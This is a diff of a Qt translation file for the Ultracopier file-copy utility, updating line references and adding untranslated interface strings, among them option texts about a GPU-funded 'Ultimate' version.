<message>
- <location filename="../../../FacilityEngine.cpp" line="49"/>
+ <location filename="../../../FacilityEngine.cpp" line="57"/>
<source>Destination</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="50"/>
+ <location filename="../../../FacilityEngine.cpp" line="58"/>
<source>Quit</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="51"/>
+ <location filename="../../../FacilityEngine.cpp" line="59"/>
<source>Target</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="52"/>
- <location filename="../../../FacilityEngine.cpp" line="56"/>
+ <location filename="../../../FacilityEngine.cpp" line="60"/>
+ <location filename="../../../FacilityEngine.cpp" line="64"/>
<source>Time remaining:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="53"/>
+ <location filename="../../../FacilityEngine.cpp" line="61"/>
<source>Listing</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="54"/>
+ <location filename="../../../FacilityEngine.cpp" line="62"/>
<source>Copying</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="55"/>
+ <location filename="../../../FacilityEngine.cpp" line="63"/>
<source>Listing and copying</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="58"/>
+ <location filename="../../../FacilityEngine.cpp" line="66"/>
<source>Ask</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="60"/>
+ <location filename="../../../FacilityEngine.cpp" line="68"/>
<source>Overwrite</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="61"/>
+ <location filename="../../../FacilityEngine.cpp" line="69"/>
<source>Overwrite if newer</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="62"/>
+ <location filename="../../../FacilityEngine.cpp" line="70"/>
<source>Overwrite if the last modification dates are different</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="63"/>
+ <location filename="../../../FacilityEngine.cpp" line="71"/>
<source>Rename</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="64"/>
- <source>Put to end of the list</source>
+ <location filename="../../../FacilityEngine.cpp" line="72"/>
+ <source>Put to the end of the list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="65"/>
+ <location filename="../../../FacilityEngine.cpp" line="73"/>
<source>Select source directory</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="66"/>
+ <location filename="../../../FacilityEngine.cpp" line="74"/>
<source>Select destination directory</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="67"/>
+ <location filename="../../../FacilityEngine.cpp" line="75"/>
<source>Internal error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="68"/>
+ <location filename="../../../FacilityEngine.cpp" line="76"/>
<source>Select one or more files to open</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="69"/>
+ <location filename="../../../FacilityEngine.cpp" line="77"/>
<source>All files</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="70"/>
+ <location filename="../../../FacilityEngine.cpp" line="78"/>
<source>Save transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="71"/>
+ <location filename="../../../FacilityEngine.cpp" line="79"/>
<source>Open transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="72"/>
+ <location filename="../../../FacilityEngine.cpp" line="80"/>
<source>Transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="73"/>
+ <location filename="../../../FacilityEngine.cpp" line="81"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="74"/>
+ <location filename="../../../FacilityEngine.cpp" line="82"/>
<source>Not supported on this platform</source>
<translation type="unfinished"></translation>
</message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="83"/>
+ <source>Completed in %1</source>
+ <translation type="unfinished"></translation>
+ </message>
</context>
<context>
<name>HelpDialog</name>
<message>
- <location filename="../../../HelpDialog.ui" line="20"/>
- <source>About ultracopier</source>
+ <location filename="../../../HelpDialog.cpp" line="37"/>
+ <source>About Ultracopier</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="70"/>
- <source>Based on Qt. It provide advanced copier with more advanced feature. It&apos;s under GPL3.
+ <location filename="../../../HelpDialog.ui" line="67"/>
+ <source>Based on Qt. Advanced utility to copy files under GPL3 license.
This version is compiled as version: %1.</source>
<extracomment>%1 will be replaced by a variable content (normal, debug, ...)</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="88"/>
+ <location filename="../../../HelpDialog.ui" line="85"/>
<source>Platform: %1</source>
<extracomment>%1 will be replaced by the platform (windows, mac, linux, ...)</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="149"/>
+ <location filename="../../../HelpDialog.ui" line="121"/>
<source>About Qt</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="169"/>
+ <location filename="../../../HelpDialog.ui" line="141"/>
<source>Do a crash</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="176"/>
+ <location filename="../../../HelpDialog.ui" line="148"/>
<source>Save bug report</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="183"/>
+ <location filename="../../../HelpDialog.ui" line="155"/>
<source>Close</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="74"/>
+ <location filename="../../../HelpDialog.cpp" line="35"/>
+ <source>About Supercopier</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="80"/>
<source>For http://portableapps.com/</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="76"/>
+ <location filename="../../../HelpDialog.cpp" line="83"/>
+ <source>Portable and all in one version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="85"/>
<source>Portable version</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="79"/>
+ <location filename="../../../HelpDialog.cpp" line="90"/>
+ <source>All in one version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="92"/>
<source>Normal version</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="85"/>
+ <location filename="../../../HelpDialog.cpp" line="110"/>
+ <location filename="../../../HelpDialog.cpp" line="112"/>
+ <location filename="../../../HelpDialog.cpp" line="123"/>
<source>http://ultracopier.first-world.info/</source>
- <extracomment>This site need be the official site of ultracopier, into the right languages, english if not exists</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="78"/>
+ <location filename="../../../HelpDialog.cpp" line="120"/>
+ <source>http://ultracopier.first-world.info/shop.html</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="125"/>
+ <source>http://ultracopier.first-world.info/download.html</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.ui" line="75"/>
<source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;For more information see the website &lt;a href=&quot;%1&quot;&gt;&lt;span style=&quot; text-decoration: underline; color:#0057ae;&quot;&gt;%1&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
<extracomment>%1 will be remplaced by the website into the corresponding languages</extracomment>
<translation type="unfinished"></translation>
@@ -480,12 +569,12 @@ This version is compiled as version: %1.</source>
<context>
<name>LocalListener</name>
<message>
- <location filename="../../../LocalListener.cpp" line="128"/>
+ <location filename="../../../LocalListener.cpp" line="146"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../LocalListener.cpp" line="128"/>
+ <location filename="../../../LocalListener.cpp" line="146"/>
<source>Timeout while recomposing data from connected clients</source>
<translation type="unfinished"></translation>
</message>
@@ -493,21 +582,74 @@ This version is compiled as version: %1.</source>
<context>
<name>LogThread</name>
<message>
- <location filename="../../../LogThread.cpp" line="65"/>
- <location filename="../../../LogThread.cpp" line="74"/>
- <location filename="../../../LogThread.cpp" line="84"/>
+ <location filename="../../../LogThread.cpp" line="106"/>
+ <location filename="../../../LogThread.cpp" line="115"/>
+ <location filename="../../../LogThread.cpp" line="125"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../LogThread.cpp" line="65"/>
+ <location filename="../../../LogThread.cpp" line="106"/>
<source>Log file already open, error: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../LogThread.cpp" line="74"/>
- <location filename="../../../LogThread.cpp" line="84"/>
- <source>Unable to open file to keep the log file, error: %1</source>
+ <location filename="../../../LogThread.cpp" line="115"/>
+ <location filename="../../../LogThread.cpp" line="125"/>
+ <source>Unable to open the log file, error: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>OSSpecific</name>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="26"/>
+ <source>Warning</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="58"/>
+ <source>Don&apos;t show again</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="83"/>
+ <source>Ok</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="23"/>
+ <source>The replacement of default copy/move system is not supported by the file manager (Dolphin, Nautilus, ...).&lt;br /&gt;Ask the developer to support it.&lt;br /&gt;You need do the copy/move manually.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="25"/>
+ <source>Reboot the system if previously had similar software installed (like Teracopy, Supercopier or an earlier version of Ultracopier).</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="27"/>
+ <source>The replacement of default copy/move system is not supported and blocked by finder of Mac OS X.&lt;br /&gt;You need do the copy/move manually by right clicking on the system tray icon near the clock (not the dock icon).</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="29"/>
+ <source>The replacement of default copy/move system should be not supported by the file manager.&lt;br /&gt;Ask to the developer to support it.&lt;br /&gt;You need do the copy/move manually.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="32"/>
+ <source>Consider Supercopier as deprecated, prefer Ultracopier</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="35"/>
+ <source>This version use 100% of you graphic card/GPU (you computer can be noisy, or slow/buggy during the games) at exchange of free access to Ultimate version. If you don&apos;t wish it, download the normal version with a small advertisement (just a link on the main window) or buy the Ultimate version to fund the project.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="36"/>
+ <source>http://ultracopier.first-world.info/download.html</source>
<translation type="unfinished"></translation>
</message>
</context>
@@ -531,257 +673,318 @@ This version is compiled as version: %1.</source>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="66"/>
- <location filename="../../../OptionDialog.ui" line="275"/>
- <location filename="../../../OptionDialog.cpp" line="186"/>
+ <location filename="../../../OptionDialog.ui" line="322"/>
+ <location filename="../../../OptionDialog.cpp" line="354"/>
<source>Copy engine</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="95"/>
- <location filename="../../../OptionDialog.ui" line="303"/>
+ <location filename="../../../OptionDialog.ui" line="92"/>
+ <location filename="../../../OptionDialog.ui" line="350"/>
<source>Themes</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="100"/>
+ <location filename="../../../OptionDialog.ui" line="97"/>
<source>Log</source>
<translation type="unfinished"></translation>
</message>
<message>
+ <location filename="../../../OptionDialog.ui" line="222"/>
+ <source>Confirm to group the windows</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="245"/>
+ <source>Check for updates</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="312"/>
+ <source>Name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="317"/>
+ <source>Version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="327"/>
+ <source>Language</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="71"/>
+ <location filename="../../../OptionDialog.ui" line="335"/>
+ <location filename="../../../OptionDialog.cpp" line="355"/>
+ <source>Listener</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="76"/>
+ <location filename="../../../OptionDialog.ui" line="340"/>
+ <location filename="../../../OptionDialog.cpp" line="356"/>
+ <source>Plugin loader</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="84"/>
+ <location filename="../../../OptionDialog.ui" line="345"/>
+ <location filename="../../../OptionDialog.cpp" line="357"/>
+ <source>Session loader</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
<location filename="../../../OptionDialog.ui" line="117"/>
- <source>Language:</source>
+ <source>Force the language</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="127"/>
- <source>Autodetect the system language:</source>
+ <source>Replace the default copy and move system</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="141"/>
- <source>Catch the copy/move as default:</source>
+ <source>Load at the session loading</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="155"/>
- <source>Load at the session loading:</source>
+ <source>When manual open</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="265"/>
- <source>Name</source>
+ <location filename="../../../OptionDialog.ui" line="181"/>
+ <source>Group the windows when</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="270"/>
- <source>Version</source>
+ <location filename="../../../OptionDialog.ui" line="229"/>
+ <source>Display the OS warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="280"/>
- <source>Language</source>
+ <location filename="../../../OptionDialog.ui" line="255"/>
+ <source>Give GPU time to fund the development</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="71"/>
- <location filename="../../../OptionDialog.ui" line="288"/>
- <location filename="../../../OptionDialog.cpp" line="187"/>
- <source>Listener</source>
+ <location filename="../../../OptionDialog.ui" line="262"/>
+ <source>Remaining time algorithm</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="79"/>
- <location filename="../../../OptionDialog.ui" line="293"/>
- <location filename="../../../OptionDialog.cpp" line="188"/>
- <source>Plugin loader</source>
+ <location filename="../../../OptionDialog.ui" line="270"/>
+ <source>Traditional</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="87"/>
- <location filename="../../../OptionDialog.ui" line="298"/>
- <location filename="../../../OptionDialog.cpp" line="189"/>
- <source>Session loader</source>
+ <location filename="../../../OptionDialog.ui" line="275"/>
+ <source>Logarithmic</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="311"/>
+ <location filename="../../../OptionDialog.ui" line="358"/>
<source>Plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="330"/>
+ <location filename="../../../OptionDialog.ui" line="377"/>
<source>Add</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="343"/>
+ <location filename="../../../OptionDialog.ui" line="390"/>
<source>Remove</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="353"/>
+ <location filename="../../../OptionDialog.ui" line="400"/>
<source>Information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="380"/>
+ <location filename="../../../OptionDialog.ui" line="427"/>
<source>Copy engine by order of preference:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="493"/>
+ <location filename="../../../OptionDialog.ui" line="498"/>
+ <source>Client connected</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="554"/>
<source>Themes:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="555"/>
+ <location filename="../../../OptionDialog.ui" line="616"/>
<source>Unable to load the themes plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="655"/>
+ <location filename="../../../OptionDialog.ui" line="716"/>
<source>Browse</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="687"/>
- <location filename="../../../OptionDialog.ui" line="700"/>
+ <location filename="../../../OptionDialog.ui" line="741"/>
+ <source>Write the transfers</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="748"/>
<source>The variables are %time%, %source%, %size%, %destination%</source>
- <extracomment>%time%, %source%, %size%, %destination% should not be translated
-----------
-%time%, %source%, %size%, %destination% should not be translated</extracomment>
+ <extracomment>%time%, %source%, %size%, %destination% should not be translated</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="717"/>
- <location filename="../../../OptionDialog.ui" line="730"/>
+ <location filename="../../../OptionDialog.ui" line="771"/>
+ <source>Write the errors</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="778"/>
<source>The variables are %time%, %path%, %size%, %mtime%, %error%</source>
- <extracomment>%time%, %path%, %size%, %mtime%, %error% should not be translated
-----------
-%time%, %path%, %size%, %mtime%, %error% should not be translated</extracomment>
+ <extracomment>%time%, %path%, %size%, %mtime%, %error% should not be translated</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="636"/>
+ <location filename="../../../OptionDialog.ui" line="697"/>
<source>Write the log file into:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="680"/>
- <source>Write the transfers:</source>
+ <location filename="../../../OptionDialog.ui" line="728"/>
+ <source>Write directly to the file when it receive a new entry (can produce 50% of lost of performance)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="710"/>
- <source>Write the errors:</source>
+ <location filename="../../../OptionDialog.cpp" line="260"/>
+ <location filename="../../../OptionDialog.cpp" line="274"/>
+ <source>Load</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="740"/>
- <source>Write the folder operations:</source>
+ <location filename="../../../OptionDialog.cpp" line="260"/>
+ <source>Load the theme?</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="190"/>
- <location filename="../../../OptionDialog.cpp" line="191"/>
- <location filename="../../../OptionDialog.cpp" line="321"/>
- <location filename="../../../OptionDialog.cpp" line="322"/>
- <source>Disabled because you have any SessionLoader plugin</source>
+ <location filename="../../../OptionDialog.cpp" line="274"/>
+ <source>Load the language?</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="192"/>
+ <location filename="../../../OptionDialog.cpp" line="362"/>
<source>Do nothing</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="193"/>
+ <location filename="../../../OptionDialog.cpp" line="363"/>
<source>Ask source as folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="194"/>
+ <location filename="../../../OptionDialog.cpp" line="364"/>
<source>Ask sources as files</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="195"/>
+ <location filename="../../../OptionDialog.cpp" line="365"/>
<source>Never</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="196"/>
+ <location filename="../../../OptionDialog.cpp" line="366"/>
<source>When source is same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="197"/>
+ <location filename="../../../OptionDialog.cpp" line="367"/>
<source>When destination is same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="198"/>
+ <location filename="../../../OptionDialog.cpp" line="368"/>
<source>When source and destination are same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="199"/>
+ <location filename="../../../OptionDialog.cpp" line="369"/>
<source>When source or destination are same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="200"/>
+ <location filename="../../../OptionDialog.cpp" line="370"/>
<source>Always</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="792"/>
- <source>Save logs as: </source>
+ <location filename="../../../OptionDialog.cpp" line="384"/>
+ <location filename="../../../OptionDialog.cpp" line="385"/>
+ <location filename="../../../OptionDialog.cpp" line="386"/>
+ <source>The variables are %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="667"/>
- <source>This write directly the file when it receive the new entry, but it can produce 50% of lost of performance</source>
+ <location filename="../../../OptionDialog.cpp" line="478"/>
+ <source>Allow the application</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="670"/>
- <source>Synchronized log</source>
+ <location filename="../../../OptionDialog.cpp" line="478"/>
+ <source>This Ultimate free version is only if %1 is allowed by your antivirus. Else you can get the normal free version</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="169"/>
- <source>When manual open:</source>
+ <location filename="../../../OptionDialog.cpp" line="483"/>
+ <source>Enable the OpenCL</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="229"/>
- <source>Group the windows when:</source>
+ <location filename="../../../OptionDialog.cpp" line="483"/>
+ <source>This Ultimate version is only if the OpenCL is installed with your graphic card drivers. Else you can get the normal free version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="1591"/>
+ <source>Save logs as: </source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="731"/>
+ <source>Synchronized log</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="605"/>
+ <location filename="../../../OptionDialog.ui" line="666"/>
<source>No option for this plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="750"/>
- <location filename="../../../OptionDialog.ui" line="763"/>
+ <location filename="../../../OptionDialog.ui" line="801"/>
+ <source>Write the folder operations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="811"/>
<source>The variables are %path%, %operation%</source>
- <extracomment>%path%, %operation% should not be translated
-----------
-%path%, %operation% should not be translated</extracomment>
+ <extracomment>%path%, %operation% should not be translated</extracomment>
<translation type="unfinished"></translation>
</message>
</context>
<context>
<name>OptionEngine</name>
<message>
- <location filename="../../../OptionEngine.cpp" line="154"/>
- <location filename="../../../OptionEngine.cpp" line="158"/>
- <location filename="../../../OptionEngine.cpp" line="195"/>
- <location filename="../../../OptionEngine.cpp" line="199"/>
- <source>Try get variable, but the variable is not found: %1 %2</source>
+ <location filename="../../../OptionEngine.cpp" line="161"/>
+ <location filename="../../../OptionEngine.cpp" line="165"/>
+ <location filename="../../../OptionEngine.cpp" line="202"/>
+ <location filename="../../../OptionEngine.cpp" line="206"/>
+ <source>The variable was not found: %1 %2</source>
<translation type="unfinished"></translation>
</message>
</context>
@@ -823,37 +1026,42 @@ This version is compiled as version: %1.</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="40"/>
- <source>CopyEngine</source>
+ <location filename="../../../PluginInformation.cpp" line="38"/>
+ <source>Copy engine</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="43"/>
+ <location filename="../../../PluginInformation.cpp" line="41"/>
<source>Languages</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="46"/>
+ <location filename="../../../PluginInformation.cpp" line="44"/>
<source>Listener</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="49"/>
- <source>PluginLoader</source>
+ <location filename="../../../PluginInformation.cpp" line="47"/>
+ <source>Plugin loader</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="52"/>
- <source>SessionLoader</source>
+ <location filename="../../../PluginInformation.cpp" line="50"/>
+ <source>Session loader</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="55"/>
+ <location filename="../../../PluginInformation.cpp" line="53"/>
<source>Themes</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="69"/>
+ <location filename="../../../PluginInformation.cpp" line="57"/>
+ <source>Unknown</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.cpp" line="67"/>
<source>Information about %1</source>
<translation type="unfinished"></translation>
</message>
@@ -871,140 +1079,140 @@ This version is compiled as version: %1.</source>
<context>
<name>PluginsManager</name>
<message>
- <location filename="../../../PluginsManager.cpp" line="208"/>
+ <location filename="../../../PluginsManager.cpp" line="221"/>
<source>informations.xml is not accessible</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="214"/>
- <source>informations.xml not found into the plugin</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../../PluginsManager.cpp" line="474"/>
+ <location filename="../../../PluginsManager.cpp" line="487"/>
<source>Dependencies part is wrong</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="493"/>
+ <location filename="../../../PluginsManager.cpp" line="508"/>
<source>Dependencies %1 are not satisfied, for plugin: %2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="634"/>
+ <location filename="../../../PluginsManager.cpp" line="665"/>
<source>Remove %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="645"/>
+ <location filename="../../../PluginsManager.cpp" line="676"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="669"/>
+ <location filename="../../../PluginsManager.cpp" line="700"/>
<source>Information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="242"/>
+ <location filename="../../../PluginsManager.cpp" line="253"/>
<source>%1, parse error at line %2, column %3: %4</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="250"/>
+ <location filename="../../../PluginsManager.cpp" line="227"/>
+ <source>informations.xml not found for the plugin</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="261"/>
<source>&quot;package&quot; root tag not found for the xml file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="326"/>
+ <location filename="../../../PluginsManager.cpp" line="337"/>
<source>Duplicated plugin found, already loaded!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="384"/>
- <source>English text missing into the informations.xml for the tag: %1</source>
+ <location filename="../../../PluginsManager.cpp" line="395"/>
+ <source>English text missing in the informations.xml for the tag: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="392"/>
+ <location filename="../../../PluginsManager.cpp" line="403"/>
<source>Tag not found: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="634"/>
+ <location filename="../../../PluginsManager.cpp" line="665"/>
<source>Are you sure about removing &quot;%1&quot; in version %2?</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="645"/>
+ <location filename="../../../PluginsManager.cpp" line="676"/>
<source>Error while the removing plugin, please check the rights on the folder:
%1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="669"/>
+ <location filename="../../../PluginsManager.cpp" line="700"/>
<source>Previous import is in progress...</source>
<translation type="unfinished"></translation>
</message>
<message>
